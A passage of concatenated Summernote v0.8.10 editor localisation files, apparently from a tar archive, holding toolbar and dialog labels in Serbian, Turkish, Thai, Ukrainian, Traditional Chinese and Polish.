        textToDisplay: 'Текст за приказ',
        url: 'Интернет адреса',
        openInNewWindow: 'Отвори у новом прозору'
      },
      table: {
        table: 'Табела',
        addRowAbove: 'Add row above',
        addRowBelow: 'Add row below',
        addColLeft: 'Add column left',
        addColRight: 'Add column right',
        delRow: 'Delete row',
        delCol: 'Delete column',
        delTable: 'Delete table'
      },
      hr: {
        insert: 'Уметни хоризонталну линију'
      },
      style: {
        style: 'Стил',
        p: 'Нормални',
        blockquote: 'Цитат',
        pre: 'Код',
        h1: 'Заглавље 1',
        h2: 'Заглавље 2',
        h3: 'Заглавље 3',
        h4: 'Заглавље 4',
        h5: 'Заглавље 5',
        h6: 'Заглавље 6'
      },
      lists: {
        unordered: 'Обична листа',
        ordered: 'Нумерисана листа'
      },
      options: {
        help: 'Помоћ',
        fullscreen: 'Преко целог екрана',
        codeview: 'Изворни код'
      },
      paragraph: {
        paragraph: 'Параграф',
        outdent: 'Смањи увлачење',
        indent: 'Повечај увлачење',
        left: 'Поравнај у лево',
        center: 'Центрирано',
        right: 'Поравнај у десно',
        justify: 'Поравнај обострано'
      },
      color: {
        recent: 'Последња боја',
        more: 'Више боја',
        background: 'Боја позадине',
        foreground: 'Боја текста',
        transparent: 'Провидна',
        setTransparent: 'Провидна',
        reset: 'Опозив',
        resetToDefault: 'Подразумевана'
      },
      shortcut: {
        shortcuts: 'Пречице са тастатуре',
        close: 'Затвори',
        textFormatting: 'Форматирање текста',
        action: 'Акција',
        paragraphFormatting: 'Форматирање параграфа',
        documentStyle: 'Стил документа',
        extraKeys: 'Додатне комбинације'
      },
      help: {
        'insertParagraph': 'Insert Paragraph',
        'undo': 'Undoes the last command',
        'redo': 'Redoes the last command',
        'tab': 'Tab',
        'untab': 'Untab',
        'bold': 'Set a bold style',
        'italic': 'Set a italic style',
        'underline': 'Set a underline style',
        'strikethrough': 'Set a strikethrough style',
        'removeFormat': 'Clean a style',
        'justifyLeft': 'Set left align',
        'justifyCenter': 'Set center align',
        'justifyRight': 'Set right align',
        'justifyFull': 'Set full align',
        'insertUnorderedList': 'Toggle unordered list',
        'insertOrderedList': 'Toggle ordered list',
        'outdent': 'Outdent on current paragraph',
        'indent': 'Indent on current paragraph',
        'formatPara': 'Change current block\'s format as a paragraph(P tag)',
        'formatH1': 'Change current block\'s format as H1',
        'formatH2': 'Change current block\'s format as H2',
        'formatH3': 'Change current block\'s format as H3',
        'formatH4': 'Change current block\'s format as H4',
        'formatH5': 'Change current block\'s format as H5',
        'formatH6': 'Change current block\'s format as H6',
        'insertHorizontalRule': 'Insert horizontal rule',
        'linkDialog.show': 'Show Link Dialog'
      },
      history: {
        undo: 'Поништи',
        redo: 'Понови'
      },
      specialChar: {
        specialChar: 'SPECIAL CHARACTERS',
        select: 'Select Special characters'
      }
    }
  });
})(jQuery);
lang/summernote-tr-TR.min.js000064400000007536151677331550012001 0ustar00/*! Summernote v0.8.10 | (c) 2013- Alan Hong and other contributors | MIT license */

!function(a){a.extend(a.summernote.lang,{"tr-TR":{font:{bold:"Kalın",italic:"İtalik",underline:"Altı çizili",clear:"Temizle",height:"Satır yüksekliği",name:"Yazı Tipi",strikethrough:"Üstü çizili",subscript:"Alt Simge",superscript:"Üst Simge",size:"Yazı tipi boyutu"},image:{image:"Resim",insert:"Resim ekle",resizeFull:"Orjinal boyut",resizeHalf:"1/2 boyut",resizeQuarter:"1/4 boyut",floatLeft:"Sola hizala",floatRight:"Sağa hizala",floatNone:"Hizalamayı kaldır",shapeRounded:"Şekil: Yuvarlatılmış Köşe",shapeCircle:"Şekil: Daire",shapeThumbnail:"Şekil: K.Resim",shapeNone:"Şekil: Yok",dragImageHere:"Buraya sürükleyin",dropImage:"Resim veya metni bırakın",selectFromFiles:"Dosya seçin",maximumFileSize:"Maksimum dosya boyutu",maximumFileSizeError:"Maksimum dosya boyutu aşıldı.",url:"Resim bağlantısı",remove:"Resimi Kaldır",original:"Original"},video:{video:"Video",videoLink:"Video bağlantısı",insert:"Video ekle",url:"Video bağlantısı?",providers:"(YouTube, Vimeo, Vine, Instagram, DailyMotion veya Youku)"},link:{link:"Bağlantı",insert:"Bağlantı ekle",unlink:"Bağlantıyı kaldır",edit:"Bağlantıyı düzenle",textToDisplay:"Görüntülemek için",url:"Bağlantı adresi?",openInNewWindow:"Yeni pencerede aç"},table:{table:"Tablo",addRowAbove:"Yukarı satır ekle",addRowBelow:"Aşağı satır ekle",addColLeft:"Sola sütun ekle",addColRight:"Sağa sütun ekle",delRow:"Satırı sil",delCol:"Sütunu sil",delTable:"Tabloyu sil"},hr:{insert:"Yatay çizgi ekle"},style:{style:"Biçim",p:"p",blockquote:"Alıntı",pre:"Önbiçimli",h1:"Başlık 1",h2:"Başlık 2",h3:"Başlık 3",h4:"Başlık 4",h5:"Başlık 5",h6:"Başlık 6"},lists:{unordered:"Madde işaretli liste",ordered:"Numaralı liste"},options:{help:"Yardım",fullscreen:"Tam ekran",codeview:"HTML Kodu"},paragraph:{paragraph:"Paragraf",outdent:"Girintiyi artır",indent:"Girintiyi azalt",left:"Sola hizala",center:"Ortaya hizala",right:"Sağa hizala",justify:"Yasla"},color:{recent:"Son renk",more:"Daha fazla renk",background:"Arka plan rengi",foreground:"Yazı rengi",transparent:"Seffaflık",setTransparent:"Şeffaflığı ayarla",reset:"Sıfırla",resetToDefault:"Varsayılanlara sıfırla"},shortcut:{shortcuts:"Kısayollar",close:"Kapat",textFormatting:"Yazı biçimlendirme",action:"Eylem",paragraphFormatting:"Paragraf biçimlendirme",documentStyle:"Biçim",extraKeys:"İlave anahtarlar"},help:{insertParagraph:"Paragraf ekler",undo:"Son komudu geri alır",redo:"Son komudu yineler",tab:"Girintiyi artırır",untab:"Girintiyi azaltır",bold:"Kalın yazma stilini ayarlar",italic:"İtalik yazma stilini ayarlar",underline:"Altı çizgili yazma stilini ayarlar",strikethrough:"Üstü çizgili yazma stilini ayarlar",removeFormat:"Biçimlendirmeyi temizler",justifyLeft:"Yazıyı sola hizalar",justifyCenter:"Yazıyı ortalar",justifyRight:"Yazıyı sağa hizalar",justifyFull:"Yazıyı her iki tarafa yazlar",insertUnorderedList:"Madde işaretli liste ekler",insertOrderedList:"Numaralı liste ekler",outdent:"Aktif paragrafın girintisini azaltır",indent:"Aktif paragrafın girintisini artırır",formatPara:"Aktif bloğun biçimini paragraf (p) olarak değiştirir",formatH1:"Aktif bloğun biçimini başlık 1 (h1) olarak değiştirir",formatH2:"Aktif bloğun biçimini başlık 2 (h2) olarak değiştirir",formatH3:"Aktif bloğun biçimini başlık 3 (h3) olarak değiştirir",formatH4:"Aktif bloğun biçimini başlık 4 (h4) olarak değiştirir",formatH5:"Aktif bloğun biçimini başlık 5 (h5) olarak değiştirir",formatH6:"Aktif bloğun biçimini başlık 6 (h6) olarak değiştirir",insertHorizontalRule:"Yatay çizgi ekler","linkDialog.show":"Bağlantı ayar kutusunu gösterir"},history:{undo:"Geri al",redo:"Yinele"},specialChar:{specialChar:"ÖZEL KARAKTERLER",select:"Özel Karakterleri seçin"}}})}(jQuery);lang/summernote-th-TH.min.js000064400000012122151677331550011740 0ustar00/*! Summernote v0.8.10 | (c) 2013- Alan Hong and other contributors | MIT license */

!function(e){e.extend(e.summernote.lang,{"th-TH":{font:{bold:"ตัวหนา",italic:"ตัวเอียง",underline:"ขีดเส้นใต้",clear:"ล้างรูปแบบตัวอักษร",height:"ความสูงบรรทัด",name:"แบบตัวอักษร",strikethrough:"ขีดฆ่า",subscript:"ตัวห้อย",superscript:"ตัวยก",size:"ขนาดตัวอักษร"},image:{image:"รูปภาพ",insert:"แทรกรูปภาพ",resizeFull:"ปรับขนาดเท่าจริง",resizeHalf:"ปรับขนาดลง 50%",resizeQuarter:"ปรับขนาดลง 25%",floatLeft:"ชิดซ้าย",floatRight:"ชิดขวา",floatNone:"ไม่จัดตำแหน่ง",shapeRounded:"Shape: Rounded",shapeCircle:"Shape: Circle",shapeThumbnail:"Shape: Thumbnail",shapeNone:"Shape: None",dragImageHere:"ลากรูปภาพที่ต้องการไว้ที่นี่",dropImage:"Drop image or Text",selectFromFiles:"เลือกไฟล์รูปภาพ",maximumFileSize:"Maximum file size",maximumFileSizeError:"Maximum file size exceeded.",url:"ที่อยู่ URL ของรูปภาพ",remove:"ลบรูปภาพ",original:"Original"},video:{video:"วีดีโอ",videoLink:"ลิงก์ของวีดีโอ",insert:"แทรกวีดีโอ",url:"ที่อยู่ URL ของวีดีโอ?",providers:"(YouTube, Vimeo, Vine, Instagram, DailyMotion หรือ Youku)"},link:{link:"ตัวเชื่อมโยง",insert:"แทรกตัวเชื่อมโยง",unlink:"ยกเลิกตัวเชื่อมโยง",edit:"แก้ไข",textToDisplay:"ข้อความที่ให้แสดง",url:"ที่อยู่เว็บไซต์ที่ต้องการให้เชื่อมโยงไปถึง?",openInNewWindow:"เปิดในหน้าต่างใหม่"},table:{table:"ตาราง",addRowAbove:"Add row above",addRowBelow:"Add row below",addColLeft:"Add column left",addColRight:"Add column right",delRow:"Delete row",delCol:"Delete column",delTable:"Delete table"},hr:{insert:"แทรกเส้นคั่น"},style:{style:"รูปแบบ",p:"ปกติ",blockquote:"ข้อความ",pre:"โค้ด",h1:"หัวข้อ 1",h2:"หัวข้อ 2",h3:"หัวข้อ 3",h4:"หัวข้อ 4",h5:"หัวข้อ 5",h6:"หัวข้อ 6"},lists:{unordered:"รายการแบบไม่มีลำดับ",ordered:"รายการแบบมีลำดับ"},options:{help:"ช่วยเหลือ",fullscreen:"ขยายเต็มหน้าจอ",codeview:"ซอร์สโค้ด"},paragraph:{paragraph:"ย่อหน้า",outdent:"เยื้องซ้าย",indent:"เยื้องขวา",left:"จัดหน้าชิดซ้าย",center:"จัดหน้ากึ่งกลาง",right:"จัดหน้าชิดขวา",justify:"จัดบรรทัดเสมอกัน"},color:{recent:"สีที่ใช้ล่าสุด",more:"สีอื่นๆ",background:"สีพื้นหลัง",foreground:"สีพื้นหน้า",transparent:"โปร่งแสง",setTransparent:"ตั้งค่าความโปร่งแสง",reset:"คืนค่า",resetToDefault:"คืนค่ามาตรฐาน"},shortcut:{shortcuts:"แป้นลัด",close:"ปิด",textFormatting:"การจัดรูปแบบข้อความ",action:"การกระทำ",paragraphFormatting:"การจัดรูปแบบย่อหน้า",documentStyle:"รูปแบบของเอกสาร",extraKeys:"Extra keys"},help:{insertParagraph:"Insert Paragraph",undo:"Undoes the last command",redo:"Redoes the last command",tab:"Tab",untab:"Untab",bold:"Set a bold style",italic:"Set a italic style",underline:"Set a underline style",strikethrough:"Set a strikethrough style",removeFormat:"Clean a style",justifyLeft:"Set left align",justifyCenter:"Set center align",justifyRight:"Set right align",justifyFull:"Set full align",insertUnorderedList:"Toggle unordered list",insertOrderedList:"Toggle ordered list",outdent:"Outdent on current paragraph",indent:"Indent on current paragraph",formatPara:"Change current block's format as a paragraph(P tag)",formatH1:"Change current block's format as H1",formatH2:"Change current block's format as H2",formatH3:"Change current block's format as H3",formatH4:"Change current block's format as H4",formatH5:"Change current block's format as H5",formatH6:"Change current block's format as H6",insertHorizontalRule:"Insert horizontal rule","linkDialog.show":"Show Link Dialog"},history:{undo:"ยกเลิกการกระทำ",redo:"ทำซ้ำการกระทำ"},specialChar:{specialChar:"SPECIAL CHARACTERS",select:"Select Special characters"}}})}(jQuery);lang/summernote-uk-UA.min.js000064400000011117151677331550011741 0ustar00/*! Summernote v0.8.10 | (c) 2013- Alan Hong and other contributors | MIT license */

!function(e){e.extend(e.summernote.lang,{"uk-UA":{font:{bold:"Напівжирний",italic:"Курсив",underline:"Підкреслений",clear:"Прибрати стилі шрифту",height:"Висота лінії",name:"Шрифт",strikethrough:"Закреслений",subscript:"Нижній індекс",superscript:"Верхній індекс",size:"Розмір шрифту"},image:{image:"Картинка",insert:"Вставити картинку",resizeFull:"Відновити розмір",resizeHalf:"Зменшити до 50%",resizeQuarter:"Зменшити до 25%",floatLeft:"Розташувати ліворуч",floatRight:"Розташувати праворуч",floatNone:"Початкове розташування",shapeRounded:"Форма: Заокруглена",shapeCircle:"Форма: Коло",shapeThumbnail:"Форма: Мініатюра",shapeNone:"Форма: Немає",dragImageHere:"Перетягніть сюди картинку",dropImage:"Перетягніть картинку",selectFromFiles:"Вибрати з файлів",maximumFileSize:"Maximum file size",maximumFileSizeError:"Maximum file size exceeded.",url:"URL картинки",remove:"Видалити картинку",original:"Original"},video:{video:"Відео",videoLink:"Посилання на відео",insert:"Вставити відео",url:"URL відео",providers:"(YouTube, Vimeo, Vine, Instagram, DailyMotion чи Youku)"},link:{link:"Посилання",insert:"Вставити посилання",unlink:"Прибрати посилання",edit:"Редагувати",textToDisplay:"Текст, що відображається",url:"URL для переходу",openInNewWindow:"Відкривати у новому вікні"},table:{table:"Таблиця",addRowAbove:"Add row above",addRowBelow:"Add row below",addColLeft:"Add column left",addColRight:"Add column right",delRow:"Delete row",delCol:"Delete column",delTable:"Delete table"},hr:{insert:"Вставити горизонтальну лінію"},style:{style:"Стиль",p:"Нормальний",blockquote:"Цитата",pre:"Код",h1:"Заголовок 1",h2:"Заголовок 2",h3:"Заголовок 3",h4:"Заголовок 4",h5:"Заголовок 5",h6:"Заголовок 6"},lists:{unordered:"Маркований список",ordered:"Нумерований список"},options:{help:"Допомога",fullscreen:"На весь екран",codeview:"Початковий код"},paragraph:{paragraph:"Параграф",outdent:"Зменшити відступ",indent:"Збільшити відступ",left:"Вирівняти по лівому краю",center:"Вирівняти по центру",right:"Вирівняти по правому краю",justify:"Розтягнути по ширині"},color:{recent:"Останній колір",more:"Ще кольори",background:"Колір фону",foreground:"Колір шрифту",transparent:"Прозорий",setTransparent:"Зробити прозорим",reset:"Відновити",resetToDefault:"Відновити початкові"},shortcut:{shortcuts:"Комбінації клавіш",close:"Закрити",textFormatting:"Форматування тексту",action:"Дія",paragraphFormatting:"Форматування параграфу",documentStyle:"Стиль документу",extraKeys:"Extra keys"},help:{insertParagraph:"Insert Paragraph",undo:"Undoes the last command",redo:"Redoes the last command",tab:"Tab",untab:"Untab",bold:"Set a bold style",italic:"Set a italic style",underline:"Set a underline style",strikethrough:"Set a strikethrough style",removeFormat:"Clean a style",justifyLeft:"Set left align",justifyCenter:"Set center align",justifyRight:"Set right align",justifyFull:"Set full align",insertUnorderedList:"Toggle unordered list",insertOrderedList:"Toggle ordered list",outdent:"Outdent on current paragraph",indent:"Indent on current paragraph",formatPara:"Change current block's format as a paragraph(P tag)",formatH1:"Change current block's format as H1",formatH2:"Change current block's format as H2",formatH3:"Change current block's format as H3",formatH4:"Change current block's format as H4",formatH5:"Change current block's format as H5",formatH6:"Change current block's format as H6",insertHorizontalRule:"Insert horizontal rule","linkDialog.show":"Show Link Dialog"},history:{undo:"Відмінити",redo:"Повторити"},specialChar:{specialChar:"SPECIAL CHARACTERS",select:"Select Special characters"}}})}(jQuery);lang/summernote-zh-TW.js000064400000011532151677331550011207 0ustar00(function($) {
  $.extend($.summernote.lang, {
    'zh-TW': {
      font: {
        bold: '粗體',
        italic: '斜體',
        underline: '底線',
        clear: '清除格式',
        height: '行高',
        name: '字體',
        strikethrough: '刪除線',
        subscript: '下標',
        superscript: '上標',
        size: '字號'
      },
      image: {
        image: '圖片',
        insert: '插入圖片',
        resizeFull: '縮放至100%',
        resizeHalf: '縮放至 50%',
        resizeQuarter: '縮放至 25%',
        floatLeft: '靠左浮動',
        floatRight: '靠右浮動',
        floatNone: '取消浮動',
        shapeRounded: '形狀: 圓角',
        shapeCircle: '形狀: 圓',
        shapeThumbnail: '形狀: 縮略圖',
        shapeNone: '形狀: 無',
        dragImageHere: '將圖片拖曳至此處',
        dropImage: 'Drop image or Text',
        selectFromFiles: '從本機上傳',
        maximumFileSize: '文件大小最大值',
        maximumFileSizeError: '文件大小超出最大值。',
        url: '圖片網址',
        remove: '移除圖片',
        original: 'Original'
      },
      video: {
        video: '影片',
        videoLink: '影片連結',
        insert: '插入影片',
        url: '影片網址',
        providers: '(優酷, Instagram, DailyMotion, Youtube等)'
      },
      link: {
        link: '連結',
        insert: '插入連結',
        unlink: '取消連結',
        edit: '編輯連結',
        textToDisplay: '顯示文字',
        url: '連結網址',
        openInNewWindow: '在新視窗開啟'
      },
      table: {
        table: '表格',
        addRowAbove: 'Add row above',
        addRowBelow: 'Add row below',
        addColLeft: 'Add column left',
        addColRight: 'Add column right',
        delRow: 'Delete row',
        delCol: 'Delete column',
        delTable: 'Delete table'
      },
      hr: {
        insert: '水平線'
      },
      style: {
        style: '樣式',
        p: '一般',
        blockquote: '引用區塊',
        pre: '程式碼區塊',
        h1: '標題 1',
        h2: '標題 2',
        h3: '標題 3',
        h4: '標題 4',
        h5: '標題 5',
        h6: '標題 6'
      },
      lists: {
        unordered: '項目清單',
        ordered: '編號清單'
      },
      options: {
        help: '幫助',
        fullscreen: '全螢幕',
        codeview: '原始碼'
      },
      paragraph: {
        paragraph: '段落',
        outdent: '取消縮排',
        indent: '增加縮排',
        left: '靠右對齊',
        center: '靠中對齊',
        right: '靠右對齊',
        justify: '左右對齊'
      },
      color: {
        recent: '字型顏色',
        more: '更多',
        background: '背景',
        foreground: '前景',
        transparent: '透明',
        setTransparent: '透明',
        reset: '重設',
        resetToDefault: '默認'
      },
      shortcut: {
        shortcuts: '快捷鍵',
        close: '關閉',
        textFormatting: '文字格式',
        action: '動作',
        paragraphFormatting: '段落格式',
        documentStyle: '文件格式',
        extraKeys: '額外按鍵'
      },
      help: {
        'insertParagraph': 'Insert Paragraph',
        'undo': 'Undoes the last command',
        'redo': 'Redoes the last command',
        'tab': 'Tab',
        'untab': 'Untab',
        'bold': 'Set a bold style',
        'italic': 'Set a italic style',
        'underline': 'Set a underline style',
        'strikethrough': 'Set a strikethrough style',
        'removeFormat': 'Clean a style',
        'justifyLeft': 'Set left align',
        'justifyCenter': 'Set center align',
        'justifyRight': 'Set right align',
        'justifyFull': 'Set full align',
        'insertUnorderedList': 'Toggle unordered list',
        'insertOrderedList': 'Toggle ordered list',
        'outdent': 'Outdent on current paragraph',
        'indent': 'Indent on current paragraph',
        'formatPara': 'Change current block\'s format as a paragraph(P tag)',
        'formatH1': 'Change current block\'s format as H1',
        'formatH2': 'Change current block\'s format as H2',
        'formatH3': 'Change current block\'s format as H3',
        'formatH4': 'Change current block\'s format as H4',
        'formatH5': 'Change current block\'s format as H5',
        'formatH6': 'Change current block\'s format as H6',
        'insertHorizontalRule': 'Insert horizontal rule',
        'linkDialog.show': 'Show Link Dialog'
      },
      history: {
        undo: '復原',
        redo: '取消復原'
      },
      specialChar: {
        specialChar: 'SPECIAL CHARACTERS',
        select: 'Select Special characters'
      }
    }
  });
})(jQuery);
lang/summernote-uk-UA.js000064400000014153151677331560011163 0ustar00(function($) {
  $.extend($.summernote.lang, {
    'uk-UA': {
      font: {
        bold: 'Напівжирний',
        italic: 'Курсив',
        underline: 'Підкреслений',
        clear: 'Прибрати стилі шрифту',
        height: 'Висота лінії',
        name: 'Шрифт',
        strikethrough: 'Закреслений',
        subscript: 'Нижній індекс',
        superscript: 'Верхній індекс',
        size: 'Розмір шрифту'
      },
      image: {
        image: 'Картинка',
        insert: 'Вставити картинку',
        resizeFull: 'Відновити розмір',
        resizeHalf: 'Зменшити до 50%',
        resizeQuarter: 'Зменшити до 25%',
        floatLeft: 'Розташувати ліворуч',
        floatRight: 'Розташувати праворуч',
        floatNone: 'Початкове розташування',
        shapeRounded: 'Форма: Заокруглена',
        shapeCircle: 'Форма: Коло',
        shapeThumbnail: 'Форма: Мініатюра',
        shapeNone: 'Форма: Немає',
        dragImageHere: 'Перетягніть сюди картинку',
        dropImage: 'Перетягніть картинку',
        selectFromFiles: 'Вибрати з файлів',
        maximumFileSize: 'Maximum file size',
        maximumFileSizeError: 'Maximum file size exceeded.',
        url: 'URL картинки',
        remove: 'Видалити картинку',
        original: 'Original'
      },
      video: {
        video: 'Відео',
        videoLink: 'Посилання на відео',
        insert: 'Вставити відео',
        url: 'URL відео',
        providers: '(YouTube, Vimeo, Vine, Instagram, DailyMotion чи Youku)'
      },
      link: {
        link: 'Посилання',
        insert: 'Вставити посилання',
        unlink: 'Прибрати посилання',
        edit: 'Редагувати',
        textToDisplay: 'Текст, що відображається',
        url: 'URL для переходу',
        openInNewWindow: 'Відкривати у новому вікні'
      },
      table: {
        table: 'Таблиця',
        addRowAbove: 'Add row above',
        addRowBelow: 'Add row below',
        addColLeft: 'Add column left',
        addColRight: 'Add column right',
        delRow: 'Delete row',
        delCol: 'Delete column',
        delTable: 'Delete table'
      },
      hr: {
        insert: 'Вставити горизонтальну лінію'
      },
      style: {
        style: 'Стиль',
        p: 'Нормальний',
        blockquote: 'Цитата',
        pre: 'Код',
        h1: 'Заголовок 1',
        h2: 'Заголовок 2',
        h3: 'Заголовок 3',
        h4: 'Заголовок 4',
        h5: 'Заголовок 5',
        h6: 'Заголовок 6'
      },
      lists: {
        unordered: 'Маркований список',
        ordered: 'Нумерований список'
      },
      options: {
        help: 'Допомога',
        fullscreen: 'На весь екран',
        codeview: 'Початковий код'
      },
      paragraph: {
        paragraph: 'Параграф',
        outdent: 'Зменшити відступ',
        indent: 'Збільшити відступ',
        left: 'Вирівняти по лівому краю',
        center: 'Вирівняти по центру',
        right: 'Вирівняти по правому краю',
        justify: 'Розтягнути по ширині'
      },
      color: {
        recent: 'Останній колір',
        more: 'Ще кольори',
        background: 'Колір фону',
        foreground: 'Колір шрифту',
        transparent: 'Прозорий',
        setTransparent: 'Зробити прозорим',
        reset: 'Відновити',
        resetToDefault: 'Відновити початкові'
      },
      shortcut: {
        shortcuts: 'Комбінації клавіш',
        close: 'Закрити',
        textFormatting: 'Форматування тексту',
        action: 'Дія',
        paragraphFormatting: 'Форматування параграфу',
        documentStyle: 'Стиль документу',
        extraKeys: 'Extra keys'
      },
      help: {
        'insertParagraph': 'Insert Paragraph',
        'undo': 'Undoes the last command',
        'redo': 'Redoes the last command',
        'tab': 'Tab',
        'untab': 'Untab',
        'bold': 'Set a bold style',
        'italic': 'Set a italic style',
        'underline': 'Set a underline style',
        'strikethrough': 'Set a strikethrough style',
        'removeFormat': 'Clean a style',
        'justifyLeft': 'Set left align',
        'justifyCenter': 'Set center align',
        'justifyRight': 'Set right align',
        'justifyFull': 'Set full align',
        'insertUnorderedList': 'Toggle unordered list',
        'insertOrderedList': 'Toggle ordered list',
        'outdent': 'Outdent on current paragraph',
        'indent': 'Indent on current paragraph',
        'formatPara': 'Change current block\'s format as a paragraph(P tag)',
        'formatH1': 'Change current block\'s format as H1',
        'formatH2': 'Change current block\'s format as H2',
        'formatH3': 'Change current block\'s format as H3',
        'formatH4': 'Change current block\'s format as H4',
        'formatH5': 'Change current block\'s format as H5',
        'formatH6': 'Change current block\'s format as H6',
        'insertHorizontalRule': 'Insert horizontal rule',
        'linkDialog.show': 'Show Link Dialog'
      },
      history: {
        undo: 'Відмінити',
        redo: 'Повторити'
      },
      specialChar: {
        specialChar: 'SPECIAL CHARACTERS',
        select: 'Select Special characters'
      }
    }
  });
})(jQuery);
lang/summernote-pl-PL.min.js000064400000007177151677331560011757 0ustar00/*! Summernote v0.8.10 | (c) 2013- Alan Hong and other contributors | MIT license */

!function(e){e.extend(e.summernote.lang,{"pl-PL":{font:{bold:"Pogrubienie",italic:"Pochylenie",underline:"Podkreślenie",clear:"Usuń formatowanie",height:"Interlinia",name:"Czcionka",strikethrough:"Przekreślenie",subscript:"Indeks dolny",superscript:"Indeks górny",size:"Rozmiar"},image:{image:"Grafika",insert:"Wstaw grafikę",resizeFull:"Zmień rozmiar na 100%",resizeHalf:"Zmień rozmiar na 50%",resizeQuarter:"Zmień rozmiar na 25%",floatLeft:"Po lewej",floatRight:"Po prawej",floatNone:"Równo z tekstem",shapeRounded:"Kształt: zaokrąglone",shapeCircle:"Kształt: okrąg",shapeThumbnail:"Kształt: miniatura",shapeNone:"Kształt: brak",dragImageHere:"Przeciągnij grafikę lub tekst tutaj",dropImage:"Przeciągnij grafikę lub tekst",selectFromFiles:"Wybierz z dysku",maximumFileSize:"Limit wielkości pliku",maximumFileSizeError:"Przekroczono limit wielkości pliku.",url:"Adres URL grafiki",remove:"Usuń grafikę",original:"Original"},video:{video:"Wideo",videoLink:"Adres wideo",insert:"Wstaw wideo",url:"Adres wideo",providers:"(YouTube, Vimeo, Vine, Instagram, DailyMotion lub Youku)"},link:{link:"Odnośnik",insert:"Wstaw odnośnik",unlink:"Usuń odnośnik",edit:"Edytuj",textToDisplay:"Tekst do wyświetlenia",url:"Na jaki adres URL powinien przenosić ten odnośnik?",openInNewWindow:"Otwórz w nowym oknie"},table:{table:"Tabela",addRowAbove:"Add row above",addRowBelow:"Add row below",addColLeft:"Add column left",addColRight:"Add column right",delRow:"Delete row",delCol:"Delete column",delTable:"Delete table"},hr:{insert:"Wstaw poziomą linię"},style:{style:"Style",p:"pny",blockquote:"Cytat",pre:"Kod",h1:"Nagłówek 1",h2:"Nagłówek 2",h3:"Nagłówek 3",h4:"Nagłówek 4",h5:"Nagłówek 5",h6:"Nagłówek 6"},lists:{unordered:"Lista wypunktowana",ordered:"Lista numerowana"},options:{help:"Pomoc",fullscreen:"Pełny ekran",codeview:"Źródło"},paragraph:{paragraph:"Akapit",outdent:"Zmniejsz wcięcie",indent:"Zwiększ wcięcie",left:"Wyrównaj do lewej",center:"Wyrównaj do środka",right:"Wyrównaj do prawej",justify:"Wyrównaj do lewej i prawej"},color:{recent:"Ostani kolor",more:"Więcej kolorów",background:"Tło",foreground:"Czcionka",transparent:"Przeźroczysty",setTransparent:"Przeźroczyste",reset:"Reset",resetToDefault:"Domyślne"},shortcut:{shortcuts:"Skróty klawiaturowe",close:"Zamknij",textFormatting:"Formatowanie tekstu",action:"Akcja",paragraphFormatting:"Formatowanie akapitu",documentStyle:"Styl dokumentu",extraKeys:"Dodatkowe klawisze"},help:{insertParagraph:"Insert Paragraph",undo:"Undoes the last command",redo:"Redoes the last command",tab:"Tab",untab:"Untab",bold:"Set a bold style",italic:"Set a italic style",underline:"Set a underline style",strikethrough:"Set a strikethrough style",removeFormat:"Clean a style",justifyLeft:"Set left align",justifyCenter:"Set center align",justifyRight:"Set right align",justifyFull:"Set full align",insertUnorderedList:"Toggle unordered list",insertOrderedList:"Toggle ordered list",outdent:"Outdent on current paragraph",indent:"Indent on current paragraph",formatPara:"Change current block's format as a paragraph(P tag)",formatH1:"Change current block's format as H1",formatH2:"Change current block's format as H2",formatH3:"Change current block's format as H3",formatH4:"Change current block's format as H4",formatH5:"Change current block's format as H5",formatH6:"Change current block's format as H6",insertHorizontalRule:"Insert horizontal rule","linkDialog.show":"Show Link Dialog"},history:{undo:"Cofnij",redo:"Ponów"},specialChar:{specialChar:"SPECIAL CHARACTERS",select:"Select Special characters"}}})}(jQuery);lang/summernote-sr-RS-Latin.js000064400000011776151677331560012264 0ustar00(function($) {
  $.extend($.summernote.lang, {
    'sr-RS': {
      font: {
        bold: 'Podebljano',
        italic: 'Kurziv',
        underline: 'Podvučeno',
        clear: 'Ukloni stilove fonta',
        height: 'Visina linije',
        name: 'Font Family',
        strikethrough: 'Precrtano',
        subscript: 'Subscript',
        superscript: 'Superscript',
        size: 'Veličina fonta'
      },
      image: {
        image: 'Slika',
        insert: 'Umetni sliku',
        resizeFull: 'Puna veličina',
        resizeHalf: 'Umanji na 50%',
        resizeQuarter: 'Umanji na 25%',
        floatLeft: 'Uz levu ivicu',
        floatRight: 'Uz desnu ivicu',
        floatNone: 'Bez ravnanja',
        shapeRounded: 'Shape: Rounded',
        shapeCircle: 'Shape: Circle',
        shapeThumbnail: 'Shape: Thumbnail',
        shapeNone: 'Shape: None',
        dragImageHere: 'Prevuci sliku ovde',
        dropImage: 'Drop image or Text',
        selectFromFiles: 'Izaberi iz datoteke',
        maximumFileSize: 'Maximum file size',
        maximumFileSizeError: 'Maximum file size exceeded.',
        url: 'Adresa slike',
        remove: 'Ukloni sliku',
        original: 'Original'
      },
      video: {
        video: 'Video',
        videoLink: 'Veza ka videu',
        insert: 'Umetni video',
        url: 'URL video',
        providers: '(YouTube, Vimeo, Vine, Instagram, DailyMotion ili Youku)'
      },
      link: {
        link: 'Veza',
        insert: 'Umetni vezu',
        unlink: 'Ukloni vezu',
        edit: 'Uredi',
        textToDisplay: 'Tekst za prikaz',
        url: 'Internet adresa',
        openInNewWindow: 'Otvori u novom prozoru'
      },
      table: {
        table: 'Tabela',
        addRowAbove: 'Add row above',
        addRowBelow: 'Add row below',
        addColLeft: 'Add column left',
        addColRight: 'Add column right',
        delRow: 'Delete row',
        delCol: 'Delete column',
        delTable: 'Delete table'
      },
      hr: {
        insert: 'Umetni horizontalnu liniju'
      },
      style: {
        style: 'Stil',
        p: 'pni',
        blockquote: 'Citat',
        pre: 'Kod',
        h1: 'Zaglavlje 1',
        h2: 'Zaglavlje 2',
        h3: 'Zaglavlje 3',
        h4: 'Zaglavlje 4',
        h5: 'Zaglavlje 5',
        h6: 'Zaglavlje 6'
      },
      lists: {
        unordered: 'Obična lista',
        ordered: 'Numerisana lista'
      },
      options: {
        help: 'Pomoć',
        fullscreen: 'Preko celog ekrana',
        codeview: 'Izvorni kod'
      },
      paragraph: {
        paragraph: 'Paragraf',
        outdent: 'Smanji uvlačenje',
        indent: 'Povečaj uvlačenje',
        left: 'Poravnaj u levo',
        center: 'Centrirano',
        right: 'Poravnaj u desno',
        justify: 'Poravnaj obostrano'
      },
      color: {
        recent: 'Poslednja boja',
        more: 'Više boja',
        background: 'Boja pozadine',
        foreground: 'Boja teksta',
        transparent: 'Providna',
        setTransparent: 'Providna',
        reset: 'Opoziv',
        resetToDefault: 'Podrazumevana'
      },
      shortcut: {
        shortcuts: 'Prečice sa tastature',
        close: 'Zatvori',
